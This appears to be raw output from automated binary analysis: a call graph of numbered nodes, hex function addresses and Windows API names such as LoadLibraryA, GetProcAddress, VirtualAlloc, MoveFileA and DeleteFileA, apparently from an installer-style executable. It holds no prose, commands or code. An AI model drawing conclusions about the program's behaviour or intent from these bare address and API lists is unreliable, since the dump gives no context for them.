55904 403494 4 API calls 55901->55904 55919 448930 55902->55919 55907 494987 55904->55907 55905 494997 55906 403400 4 API calls 55905->55906 55908 494a38 55906->55908 55907->55905 55909 4037b8 4 API calls 55907->55909 55910 403400 4 API calls 55908->55910 55912 4949b0 55909->55912 55911 494a40 55910->55911 55911->55897 55912->55905 55913 4037b8 4 API calls 55912->55913 55914 4949d3 55913->55914 55915 403778 4 API calls 55914->55915 55916 494a04 55915->55916 55917 403634 4 API calls 55916->55917 55917->55902 55918->55893 55920 448955 55919->55920 55921 448998 55919->55921 55922 403494 4 API calls 55920->55922 55924 4489ac 55921->55924 55931 44852c 55921->55931 55923 448960 55922->55923 55928 4037b8 4 API calls 55923->55928 55926 403400 4 API calls 55924->55926 55927 4489df 55926->55927 55927->55905 55929 44897c 55928->55929 55930 4037b8 4 API calls 55929->55930 55930->55921 55932 403494 4 API calls 55931->55932 55933 448562 55932->55933 55934 4037b8 4 API calls 55933->55934 55935 448574 55934->55935 55936 403778 4 API calls 55935->55936 55937 448595 55936->55937 55938 4037b8 4 API calls 55937->55938 55939 4485ad 55938->55939 55940 403778 4 API calls 55939->55940 55941 4485d8 55940->55941 55942 4037b8 4 API calls 55941->55942 55952 4485f0 55942->55952 55943 448628 55945 403420 4 API calls 55943->55945 55944 4486c3 55948 4486cb GetProcAddress 55944->55948 55949 448708 55945->55949 55946 44864b LoadLibraryExA 55946->55952 55947 44865d LoadLibraryA 55947->55952 55950 4486de 55948->55950 55949->55924 55950->55943 55951 403b80 4 API calls 55951->55952 55952->55943 55952->55944 55952->55946 55952->55947 55952->55951 55953 403450 4 API calls 55952->55953 55955 43da88 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 55952->55955 55953->55952 55955->55952 50241 402584 50242 402598 50241->50242 50243 4025ab 50241->50243 50271 4019cc RtlInitializeCriticalSection RtlEnterCriticalSection LocalAlloc RtlLeaveCriticalSection 50242->50271 50245 4025c2 RtlEnterCriticalSection 50243->50245 50246 4025cc 50243->50246 50245->50246 50257 4023b4 13 API calls 50246->50257 50247 40259d 50247->50243 50249 4025a1 50247->50249 50250 4025d9 50253 402635 50250->50253 50254 40262b RtlLeaveCriticalSection 50250->50254 50251 4025d5 50251->50250 50258 402088 50251->50258 50254->50253 50255 4025e5 50255->50250 50272 402210 9 API calls 50255->50272 50257->50251 50259 40209c 50258->50259 50260 4020af 50258->50260 50279 4019cc RtlInitializeCriticalSection RtlEnterCriticalSection LocalAlloc RtlLeaveCriticalSection 50259->50279 50262 4020c6 RtlEnterCriticalSection 50260->50262 50265 4020d0 50260->50265 50262->50265 50263 4020a1 50263->50260 50264 4020a5 50263->50264 50266 402106 50264->50266 50265->50266 50273 401f94 50265->50273 50266->50255 50269 4021f1 RtlLeaveCriticalSection 50270 4021fb 50269->50270 50270->50255 50271->50247 50272->50250 50276 401fa4 50273->50276 50274 401fd0 50278 401ff4 50274->50278 50285 401db4 50274->50285 50276->50274 50276->50278 50280 401f0c 50276->50280 50278->50269 50278->50270 50279->50263 50289 40178c 50280->50289 50283 401f29 50283->50276 50286 401dd2 50285->50286 50287 401e02 50285->50287 50286->50278 50287->50286 50317 401d1c 50287->50317 50295 4017a8 50289->50295 50291 4017b2 50308 401678 VirtualAlloc 50291->50308 50293 40180f 50293->50283 50299 401e80 9 API calls 50293->50299 50295->50291 50295->50293 50297 401803 50295->50297 50300 4014e4 50295->50300 50309 4013e0 LocalAlloc 50295->50309 50296 4017be 50296->50293 50310 4015c0 VirtualFree 50297->50310 50299->50283 50301 4014f3 VirtualAlloc 50300->50301 50303 401520 50301->50303 50304 401543 50301->50304 50311 401398 50303->50311 50304->50295 50307 401530 VirtualFree 50307->50304 50308->50296 50309->50295 50310->50293 50314 401340 50311->50314 50315 40134c LocalAlloc 50314->50315 50316 40135e 50314->50316 50315->50316 50316->50304 50316->50307 50318 401d2e 50317->50318 50319 401d51 50318->50319 50320 401d63 50318->50320 50330 401940 50319->50330 50322 401940 3 API calls 50320->50322 50323 401d61 50322->50323 50329 401d79 50323->50329 50340 401bf8 9 API calls 50323->50340 50325 401d88 50326 401da2 50325->50326 50341 401c4c 9 API calls 50325->50341 50342 401454 LocalAlloc 50326->50342 50329->50286 50331 4019bf 50330->50331 50332 401966 50330->50332 50331->50323 50343 40170c 50332->50343 50336 401983 50337 40199a 50336->50337 50348 4015c0 VirtualFree 50336->50348 50337->50331 50349 401454 LocalAlloc 50337->50349 50340->50325 50341->50326 50342->50329 50345 401743 50343->50345 50344 401783 50347 4013e0 LocalAlloc 50344->50347 50345->50344 50346 40175d VirtualFree 50345->50346 50346->50345 50347->50336 50348->50337 50349->50331 50350 416644 50351 416651 50350->50351 50352 4166ab 50350->50352 50357 416550 CreateWindowExA 50351->50357 50353 416658 SetPropA SetPropA 50353->50352 50354 41668b 50353->50354 50355 41669e SetWindowPos 50354->50355 50355->50352 50357->50353 55956 4222e4 55957 4222f3 55956->55957 55962 421274 55957->55962 55960 422313 55963 4212e3 55962->55963 55965 421283 55962->55965 55967 4212f4 55963->55967 55987 4124d0 GetMenuItemCount GetMenuStringA GetMenuState 55963->55987 55965->55963 55986 408d2c 19 API calls 55965->55986 55966 421322 55973 421395 55966->55973 55977 42133d 55966->55977 55967->55966 55968 4213ba 55967->55968 55970 4213ce SetMenu 55968->55970 55983 421393 55968->55983 55969 4213e6 55990 4211bc 10 API calls 55969->55990 55970->55983 55975 4213a9 55973->55975 55973->55983 55974 4213ed 55974->55960 55985 4221e8 10 API calls 55974->55985 55978 4213b2 SetMenu 55975->55978 55979 421360 GetMenu 55977->55979 55977->55983 55978->55983 55980 421383 55979->55980 55981 42136a 55979->55981 55988 4124d0 GetMenuItemCount GetMenuStringA GetMenuState 55980->55988 55984 42137d SetMenu 55981->55984 55983->55969 55989 421e2c 11 API calls 55983->55989 55984->55980 55985->55960 55986->55965 55987->55967 55988->55983 55989->55969 55990->55974 55991 44b4a8 55992 44b4b6 55991->55992 55994 44b4d5 55991->55994 55993 44b38c 11 API calls 55992->55993 55992->55994 55993->55994 55995 448728 55996 448756 55995->55996 55997 44875d 55995->55997 56000 403400 4 API calls 55996->56000 55998 448771 55997->55998 56001 44852c 7 API calls 55997->56001 55998->55996 55999 403494 4 API calls 55998->55999 56002 44878a 55999->56002 56003 448907 56000->56003 56001->55998 56004 4037b8 4 API calls 56002->56004 56005 4487a6 56004->56005 56006 4037b8 4 API calls 56005->56006 56007 4487c2 56006->56007 56007->55996 56008 4487d6 56007->56008 56009 4037b8 4 API calls 56008->56009 56010 4487f0 56009->56010 56011 431bd0 4 API calls 56010->56011 56012 448812 56011->56012 56013 431ca0 4 API calls 56012->56013 56014 448832 56012->56014 56013->56012 56015 448870 56014->56015 56038 4435d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56014->56038 56016 448888 56015->56016 56039 4435d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56015->56039 56027 442334 56016->56027 56019 4488bc GetLastError 56040 4484c0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56019->56040 56022 4488cb 56041 443610 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56022->56041 56024 4488e0 56042 443620 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56024->56042 56026 4488e8 56028 443312 56027->56028 56029 44236d 56027->56029 56031 403400 4 API calls 56028->56031 56030 403400 4 API calls 56029->56030 56032 442375 56030->56032 56033 443327 56031->56033 56034 431bd0 4 API calls 56032->56034 56033->56019 56035 442381 56034->56035 56036 443302 56035->56036 56043 441a0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56035->56043 56036->56019 56038->56014 56039->56016 56040->56022 56041->56024 56042->56026 56043->56035 56044 4165ec DestroyWindow 56045 42e3ef SetErrorMode 50358 441394 50359 44139d 50358->50359 50360 4413ab WriteFile 50358->50360 50359->50360 50361 4413b6 50360->50361 56046 491bf8 56047 491c32 56046->56047 56048 491c3e 56047->56048 56049 491c34 56047->56049 56051 491c4d 56048->56051 56052 491c76 56048->56052 56242 409098 MessageBeep 56049->56242 56054 446ff8 18 API calls 56051->56054 56059 491cae 56052->56059 56060 491c85 56052->56060 56053 403420 4 API calls 56055 49228a 56053->56055 56056 491c5a 56054->56056 56057 403400 4 API calls 56055->56057 56243 406bb0 56056->56243 56061 492292 56057->56061 56066 491cbd 56059->56066 56067 491ce6 56059->56067 56063 446ff8 18 API calls 56060->56063 56065 491c92 56063->56065 56251 406c00 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56065->56251 56069 446ff8 18 API calls 56066->56069 56074 491d0e 56067->56074 56075 491cf5 56067->56075 56072 491cca 56069->56072 56070 491c9d 56252 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56070->56252 56253 406c34 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56072->56253 56081 491d1d 56074->56081 56082 491d42 56074->56082 56255 407280 LocalAlloc TlsSetValue TlsGetValue TlsGetValue GetCurrentDirectoryA 56075->56255 56077 491cd5 56254 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56077->56254 56078 491cfd 56256 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56078->56256 56083 446ff8 18 API calls 56081->56083 56085 491d7a 56082->56085 56086 491d51 56082->56086 56084 491d2a 56083->56084 56087 4072a8 SetCurrentDirectoryA 56084->56087 56093 491d89 56085->56093 56094 491db2 56085->56094 56088 446ff8 18 API calls 56086->56088 56089 491d32 56087->56089 56090 491d5e 56088->56090 56257 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56089->56257 56092 42c804 5 API calls 56090->56092 56095 491d69 56092->56095 56096 446ff8 18 API calls 56093->56096 56099 491dfe 56094->56099 56100 491dc1 56094->56100 56258 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56095->56258 56098 491d96 56096->56098 56259 4071f8 8 API calls 56098->56259 56106 491e0d 56099->56106 56107 491e36 56099->56107 56102 446ff8 18 API calls 56100->56102 56105 491dd0 56102->56105 56103 491da1 56260 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56103->56260 56108 446ff8 18 API calls 56105->56108 56109 446ff8 18 API calls 56106->56109 56114 491e6e 56107->56114 56115 491e45 56107->56115 56110 491de1 56108->56110 56111 491e1a 56109->56111 56261 4918fc 8 API calls 56110->56261 56113 42c8a4 5 API calls 56111->56113 56117 491e25 56113->56117 56122 491e7d 56114->56122 56123 491ea6 56114->56123 56118 446ff8 18 API calls 56115->56118 56116 491ded 56262 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56116->56262 56263 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56117->56263 56121 491e52 56118->56121 56124 42c8cc 5 API calls 56121->56124 56125 446ff8 18 API calls 56122->56125 56130 491ede 56123->56130 56131 491eb5 56123->56131 56126 491e5d 56124->56126 56128 491e8a 56125->56128 56264 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56126->56264 56265 42c8fc LocalAlloc TlsSetValue TlsGetValue TlsGetValue IsDBCSLeadByte 56128->56265 56137 491eed 56130->56137 56138 491f16 56130->56138 56132 446ff8 18 API calls 56131->56132 56134 491ec2 56132->56134 56133 491e95 56266 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56133->56266 56136 42c92c 5 API calls 56134->56136 56139 491ecd 56136->56139 56140 446ff8 18 API calls 56137->56140 56143 491f62 56138->56143 56144 491f25 56138->56144 56267 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56139->56267 56142 491efa 56140->56142 56145 42c954 5 API calls 56142->56145 56151 491f71 56143->56151 56152 491fb4 56143->56152 56146 446ff8 18 API calls 56144->56146 56147 491f05 56145->56147 56148 491f34 56146->56148 56268 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56147->56268 56150 446ff8 18 API calls 56148->56150 56154 491f45 56150->56154 56153 446ff8 18 API calls 56151->56153 56159 491fc3 56152->56159 56160 492027 56152->56160 56155 491f84 56153->56155 56269 42c4f8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue IsDBCSLeadByte 56154->56269 56157 446ff8 18 API calls 56155->56157 56161 491f95 56157->56161 56158 491f51 56270 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56158->56270 56163 446ff8 18 API calls 56159->56163 56167 492066 56160->56167 56168 492036 56160->56168 56271 491af4 12 API calls 56161->56271 56165 491fd0 56163->56165 56234 42c608 7 API calls 56165->56234 56166 491fa3 56272 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56166->56272 56178 4920a5 56167->56178 56179 492075 56167->56179 56171 446ff8 18 API calls 56168->56171 56175 492043 56171->56175 56172 491fde 56173 491fe2 56172->56173 56174 492017 56172->56174 56177 446ff8 18 API calls 56173->56177 56274 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56174->56274 56275 452908 Wow64DisableWow64FsRedirection SetLastError Wow64RevertWow64FsRedirection DeleteFileA GetLastError 56175->56275 56182 491ff1 56177->56182 56187 4920e4 56178->56187 56188 4920b4 56178->56188 56183 446ff8 18 API calls 56179->56183 56181 492050 56276 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56181->56276 56235 452c80 56182->56235 56186 492082 56183->56186 56191 452770 5 API calls 56186->56191 56198 49212c 56187->56198 56199 4920f3 56187->56199 56192 446ff8 18 API calls 56188->56192 56189 492061 56214 491c39 56189->56214 56190 492001 56273 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56190->56273 56194 49208f 56191->56194 56195 4920c1 56192->56195 56277 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56194->56277 56278 452e10 Wow64DisableWow64FsRedirection SetLastError Wow64RevertWow64FsRedirection RemoveDirectoryA GetLastError 56195->56278 56204 49213b 56198->56204 56205 492174 56198->56205 56201 446ff8 18 API calls 56199->56201 56200 4920ce 56279 4470d0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56200->56279 56203 492102 56201->56203 56206 446ff8 18 API calls 56203->56206 56207 446ff8 18 API calls 56204->56207 56210 492187 56205->56210 56216 49223d 56205->56216 56208 492113 56206->56208 56209 49214a 56207->56209 56212 447278 5 API calls 56208->56212 56211 446ff8 18 API calls 56209->56211 56213 446ff8 18 API calls 56210->56213 56217 49215b 56211->56217 56212->56214 56215 4921b4 56213->56215 56214->56053 56218 446ff8 18 API calls 56215->56218 56216->56214 56283 446f9c 18 API calls 56216->56283 56221 447278 5 API calls 56217->56221 56219 4921cb 56218->56219 56280 407ddc 7 API calls 56219->56280 56221->56214 56222 492256 56223 42e8c8 5 API calls 56222->56223 56224 49225e 56223->56224 56284 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56224->56284 56227 4921ed 56228 446ff8 18 API calls 56227->56228 56229 492201 56228->56229 56281 408508 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56229->56281 56231 49220c 56282 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56231->56282 56233 492218 56234->56172 56236 452724 2 API calls 56235->56236 56238 452c99 56236->56238 56237 452c9d 56237->56190 56238->56237 56239 452cc1 MoveFileA GetLastError 56238->56239 56240 452760 Wow64RevertWow64FsRedirection 56239->56240 56241 452ce7 56240->56241 56241->56190 56242->56214 56244 406bbf 56243->56244 56245 406bd8 56244->56245 56247 406be1 56244->56247 56246 403400 4 API calls 56245->56246 56248 406bdf 56246->56248 56249 403778 4 API calls 56247->56249 56250 44734c LocalAlloc TlsSetValue TlsGetValue TlsGetValue VariantClear 56248->56250 56249->56248 56250->56214 56251->56070 56252->56214 56253->56077 56254->56214 56255->56078 56256->56214 56257->56214 56258->56214 56259->56103 56260->56214 56261->56116 56262->56214 56263->56214 56264->56214 56265->56133 56266->56214 56267->56214 56268->56214 56269->56158 56270->56214 56271->56166 56272->56214 56273->56214 56274->56214 56275->56181 56276->56189 56277->56214 56278->56200 56279->56214 56280->56227 56281->56231 56282->56233 56283->56222 56284->56214 56285 40cc34 56288 406f10 WriteFile 56285->56288 56289 406f2d 56288->56289 50362 48095d 50367 451004 50362->50367 50364 480971 50377 47fa0c 50364->50377 50366 480995 50368 451011 50367->50368 50370 451065 50368->50370 50386 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50368->50386 50383 450e88 50370->50383 50374 45108d 50375 4510d0 50374->50375 50388 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50374->50388 50375->50364 50393 40b3c8 50377->50393 50379 47fa79 50379->50366 50382 47fa2e 50382->50379 50397 4069dc 50382->50397 50400 476994 50382->50400 50389 450e34 50383->50389 50386->50370 50387 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50387->50374 50388->50375 50390 450e46 50389->50390 50391 450e57 50389->50391 50392 450e4b InterlockedExchange 50390->50392 50391->50374 50391->50387 50392->50391 50394 40b3d3 50393->50394 50395 40b3f3 50394->50395 50416 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50394->50416 50395->50382 50398 402648 4 API calls 50397->50398 50399 4069e7 50398->50399 50399->50382 50412 4769c5 50400->50412 50414 476a0e 50400->50414 50401 476a59 50417 451294 50401->50417 50402 451294 21 API calls 50402->50412 50404 476a70 50406 403420 4 API calls 50404->50406 50408 476a8a 50406->50408 50407 4038a4 4 API calls 50407->50414 50408->50382 50411 403450 4 API calls 50411->50414 50412->50402 50412->50414 50423 4038a4 50412->50423 50432 403744 50412->50432 50436 403450 50412->50436 50413 403744 4 API calls 50413->50414 50414->50401 50414->50407 50414->50411 50414->50413 50415 451294 21 API calls 50414->50415 50415->50414 50416->50395 50418 4512af 50417->50418 50422 4512a4 50417->50422 50442 451238 21 API calls 50418->50442 50420 4512ba 50420->50422 50443 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50420->50443 50422->50404 50425 4038b1 50423->50425 50431 4038e1 50423->50431 50424 403400 4 API calls 50427 4038cb 50424->50427 50426 4038da 50425->50426 50428 4038bd 50425->50428 50429 4034bc 4 API calls 50426->50429 50427->50412 50444 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50428->50444 50429->50431 50431->50424 50433 40374a 50432->50433 50435 40375b 50432->50435 50434 4034bc 4 API calls 50433->50434 50433->50435 50434->50435 50435->50412 50437 403454 50436->50437 50440 403464 50436->50440 50439 4034bc 4 API calls 50437->50439 50437->50440 50438 403490 50438->50412 50439->50440 50440->50438 50441 402660 4 API calls 50440->50441 50441->50438 50442->50420 50443->50422 50444->50427 50445 41ee54 50446 41ee63 IsWindowVisible 50445->50446 50447 41ee99 50445->50447 50446->50447 50448 41ee6d IsWindowEnabled 50446->50448 50448->50447 50449 41ee77 50448->50449 50450 402648 4 API calls 50449->50450 50451 41ee81 EnableWindow 50450->50451 50451->50447 50452 46bb10 50453 46bb44 50452->50453 50484 46bfad 50452->50484 50457 46bbdc 50453->50457 50458 46bbba 50453->50458 50459 46bbcb 50453->50459 50460 46bb98 50453->50460 50461 46bba9 50453->50461 50470 46bb80 50453->50470 50454 403400 4 API calls 50456 46bfec 50454->50456 50465 403400 4 API calls 50456->50465 50775 46baa0 45 API calls 50457->50775 50508 46b6d0 50458->50508 50774 46b890 67 API calls 50459->50774 50772 46b420 47 API calls 50460->50772 50773 46b588 42 API calls 50461->50773 50469 46bff4 50465->50469 50468 46bb9e 50468->50470 50468->50484 50470->50484 50543 468c74 50470->50543 50471 46bc18 50471->50484 50487 46bc5b 50471->50487 50776 494da0 50471->50776 50474 46bd7e 50795 48358c 123 API calls 50474->50795 50475 414ae8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50475->50487 50478 46bd99 50478->50484 50479 42cbc0 6 API calls 50479->50487 50480 403450 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50480->50487 50481 46af68 23 API calls 50481->50487 50484->50454 50485 46bdd7 50561 469f1c 50485->50561 50486 46af68 23 API calls 50486->50484 50487->50474 50487->50475 50487->50479 50487->50480 50487->50481 50487->50484 50487->50485 50504 46be9f 50487->50504 50546 468bb0 50487->50546 50554 46acd4 50487->50554 50699 483084 50487->50699 50812 46b1dc 19 API calls 50487->50812 50489 46be3d 50490 403450 4 API calls 50489->50490 50491 46be4d 50490->50491 50492 46bea9 50491->50492 50493 46be59 50491->50493 50498 46bf6b 50492->50498 50622 46af68 50492->50622 50796 457f1c 50493->50796 50497 457f1c 24 API calls 50497->50504 50504->50486 50813 46c424 50508->50813 50511 46b852 50513 403420 4 API calls 50511->50513 50515 46b86c 50513->50515 50514 46b71e 50516 46b83e 50514->50516 50820 455f84 13 API calls 50514->50820 50517 403400 4 API calls 50515->50517 50516->50511 50519 403450 4 API calls 50516->50519 50520 46b874 50517->50520 50519->50511 50521 403400 4 API calls 50520->50521 50522 46b87c 50521->50522 50522->50470 50523 46b801 50523->50511 50523->50516 50528 42cd48 7 API calls 50523->50528 50525 46b7a1 50525->50511 50525->50523 50830 42cd48 50525->50830 50527 46b73c 50527->50525 50821 466600 50527->50821 50530 46b817 50528->50530 50530->50516 50535 451458 4 API calls 50530->50535 50534 466600 19 API calls 50538 46b82e 50535->50538 50837 47efd0 42 API calls 50538->50837 50544 468bb0 19 API calls 50543->50544 50545 468c83 50544->50545 50545->50471 50547 468bdf 50546->50547 50548 4078f4 19 API calls 50547->50548 50551 468c20 50547->50551 50549 468c18 50548->50549 51090 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50549->51090 50552 403400 4 API calls 50551->50552 50553 468c38 50552->50553 50553->50487 50555 46ace5 50554->50555 50556 46ace0 50554->50556 51176 469a80 46 API calls 50555->51176 50558 46ace3 50556->50558 51091 46a740 50556->51091 50558->50487 50559 46aced 50559->50487 50562 403400 4 API calls 50561->50562 50563 469f4a 50562->50563 51553 47dd00 50563->51553 50565 469fad 50566 469fb1 50565->50566 50567 469fca 50565->50567 51560 466800 50566->51560 50569 469fbb 50567->50569 51563 494c90 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50567->51563 50571 46a25e 50569->50571 50574 46a154 50569->50574 50575 46a0e9 50569->50575 50572 403420 4 API calls 50571->50572 50577 46a288 50572->50577 50573 469fe6 50573->50569 50578 469fee 50573->50578 50576 403494 4 API calls 50574->50576 50579 403494 4 API calls 50575->50579 50581 46a161 50576->50581 50577->50489 50582 46af68 23 API calls 50578->50582 50580 46a0f6 50579->50580 50583 40357c 4 API calls 50580->50583 50584 40357c 4 API calls 50581->50584 50591 469ffb 50582->50591 50585 46a103 50583->50585 50586 46a16e 50584->50586 50587 40357c 4 API calls 50585->50587 50588 40357c 4 API calls 50586->50588 50589 46a110 50587->50589 50590 46a17b 50588->50590 50592 40357c 4 API calls 50589->50592 50593 40357c 4 API calls 50590->50593 50596 46a024 SetActiveWindow 50591->50596 50597 46a03c 50591->50597 50594 46a11d 50592->50594 50595 46a188 50593->50595 50598 466800 20 API calls 50594->50598 50599 40357c 4 API calls 50595->50599 50596->50597 51564 42f560 50597->51564 50600 46a12b 50598->50600 50601 46a196 50599->50601 50603 40357c 4 API calls 50600->50603 50604 414b18 4 API calls 50601->50604 50606 46a134 50603->50606 50607 46a152 50604->50607 50609 40357c 4 API calls 50606->50609 51581 466b38 50607->51581 50612 46a141 50609->50612 50611 46a08d 50614 46ade4 21 API calls 50611->50614 50613 414b18 4 API calls 50612->50613 50613->50607 50615 46a0bf 50614->50615 50615->50489 50623 468c74 19 API calls 50622->50623 50624 46af80 50623->50624 50625 46afa2 50624->50625 50626 4652cc 7 API calls 50624->50626 51777 4652cc 50625->51777 50626->50625 50630 46afba 50631 46ade4 21 API calls 50630->50631 50632 46aff2 50631->50632 50633 414b18 4 API calls 50632->50633 50634 46b006 50633->50634 50635 46b012 50634->50635 50636 46b03c 50634->50636 50637 414b18 4 API calls 50635->50637 50639 46b05b 50636->50639 50640 46b085 50636->50640 50638 46b026 50637->50638 50641 414b18 4 API calls 50638->50641 50642 414b18 4 API calls 50639->50642 50643 414b18 4 API calls 50640->50643 50645 46b03a 50641->50645 50646 46b06f 50642->50646 50644 46b099 50643->50644 50647 414b18 4 API calls 50644->50647 50648 414b18 4 API calls 50646->50648 50647->50645 50648->50645 50700 46c424 48 API calls 50699->50700 50701 4830c7 50700->50701 50702 4830d0 50701->50702 52064 408be0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 50701->52064 50704 414ae8 4 API calls 50702->50704 50705 4830e0 50704->50705 50706 403450 4 API calls 50705->50706 50707 4830ed 50706->50707 51866 46c77c 50707->51866 50710 4830fd 50712 414ae8 4 API calls 50710->50712 50713 48310d 50712->50713 50714 403450 4 API calls 50713->50714 50715 48311a 50714->50715 50716 469868 SendMessageA 50715->50716 50717 483133 50716->50717 50718 483184 50717->50718 52066 479e18 23 API calls 50717->52066 51895 4241dc IsIconic 50718->51895 50722 48319f SetActiveWindow 50723 4831b4 50722->50723 51903 4824b4 50723->51903 50772->50468 50773->50470 50774->50470 50775->50470 53719 43d9c8 50776->53719 50779 494dcc 53724 431bd0 50779->53724 50780 494e52 50781 494e61 50780->50781 53757 4945c8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50780->53757 50781->50487 50790 494e16 53755 49465c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50790->53755 50792 494e2a 53756 433dd0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50792->53756 50794 494e4a 50794->50487 50795->50478 50797 457f41 50796->50797 50798 457f61 50797->50798 50799 4078f4 19 API calls 50797->50799 50800 403400 4 API calls 50798->50800 50801 457f59 50799->50801 50802 457f76 50800->50802 50803 457d10 24 API calls 50801->50803 50802->50497 50803->50798 50812->50487 50838 46c4bc 50813->50838 50816 414ae8 50817 414af6 50816->50817 50818 4034e0 4 API calls 50817->50818 50819 414b03 50818->50819 50819->50514 50820->50527 50822 46661a 50821->50822 51041 4078f4 50822->51041 51084 42cccc 50830->51084 50833 451458 50834 451428 4 API calls 50833->50834 50835 451474 50834->50835 50836 47efd0 42 API calls 50835->50836 50836->50523 50837->50516 50839 414ae8 4 API calls 50838->50839 50840 46c4f0 50839->50840 50899 466898 50840->50899 50844 46c502 50845 46c511 50844->50845 50848 46c52a 50844->50848 50968 47efd0 42 API calls 50845->50968 50847 403420 4 API calls 50850 46b702 50847->50850 50849 46c571 50848->50849 50851 46c558 50848->50851 50852 46c5d6 50849->50852 50857 46c575 50849->50857 50850->50511 50850->50816 50969 47efd0 42 API calls 50851->50969 50971 42cb4c CharNextA 50852->50971 50855 46c5e5 50856 46c5e9 50855->50856 50861 46c602 50855->50861 50972 47efd0 42 API calls 50856->50972 50859 46c5bd 50857->50859 50857->50861 50970 47efd0 42 API calls 50859->50970 50860 46c626 50973 47efd0 42 API calls 50860->50973 50861->50860 50913 466a08 50861->50913 50866 46c525 50866->50847 50869 46c63f 50921 403778 50869->50921 50874 46c666 50974 466a94 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50874->50974 50875 46c697 50932 42c8cc 50875->50932 50878 46c679 50880 451458 4 API calls 50878->50880 50882 46c686 50880->50882 50975 47efd0 42 API calls 50882->50975 50904 4668b2 50899->50904 50900 406bb0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50900->50904 50902 42cbc0 6 API calls 50902->50904 50903 403450 4 API calls 50903->50904 50904->50900 50904->50902 50904->50903 50905 4668fb 50904->50905 50978 42caac 50904->50978 50906 403420 4 API calls 50905->50906 50907 466915 50906->50907 50908 414b18 50907->50908 50909 414ae8 4 API calls 50908->50909 50910 414b3c 50909->50910 50911 403400 4 API calls 50910->50911 50912 414b6d 50911->50912 50912->50844 50914 466a12 50913->50914 50915 466a25 50914->50915 50994 42cb3c CharNextA 50914->50994 50915->50860 50917 466a38 50915->50917 50918 466a42 50917->50918 50919 466a6f 50918->50919 50995 42cb3c CharNextA 50918->50995 50919->50860 50919->50869 50922 4037aa 50921->50922 50923 40377d 50921->50923 50924 403400 4 API calls 50922->50924 50923->50922 50925 403791 50923->50925 50927 4037a0 50924->50927 50926 4034e0 4 API calls 50925->50926 50926->50927 50928 42c99c 50927->50928 50929 42c9b2 50928->50929 50930 42c9f5 50928->50930 50929->50930 50996 42cb3c CharNextA 50929->50996 50930->50874 50930->50875 50997 42c674 50932->50997 50968->50866 50969->50866 50970->50866 50971->50855 50972->50866 50973->50866 50974->50878 50975->50866 50979 403494 4 API calls 50978->50979 50980 42cabc 50979->50980 50981 403744 4 API calls 50980->50981 50983 42caf2 50980->50983 50987 42c444 IsDBCSLeadByte 50980->50987 50981->50980 50984 42cb36 50983->50984 50988 4037b8 50983->50988 50993 42c444 IsDBCSLeadByte 50983->50993 50984->50904 50987->50980 50989 403744 4 API calls 50988->50989 50991 4037c6 50989->50991 50990 4037fc 50990->50983 50991->50990 50992 4038a4 4 API calls 50991->50992 50992->50990 50993->50983 50994->50914 50995->50918 50996->50929 51000 42c67c 50997->51000 51003 42c68d 51000->51003 51001 42c6f1 51003->51001 51006 42c6ab 51003->51006 51044 407908 51041->51044 51045 407925 51044->51045 51052 4075b8 51045->51052 51048 407951 51050 4034e0 4 API calls 51048->51050 51051 407903 51050->51051 51051->50534 51055 4075d3 51052->51055 51053 4075e5 51053->51048 51057 4069a0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 51053->51057 51055->51053 51058 4076da 19 API calls 51055->51058 51059 4075ac LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51055->51059 51057->51048 51058->51055 51059->51055 51085 42cbc0 6 API calls 51084->51085 51086 42ccee 51085->51086 51087 42ccf6 GetFileAttributesA 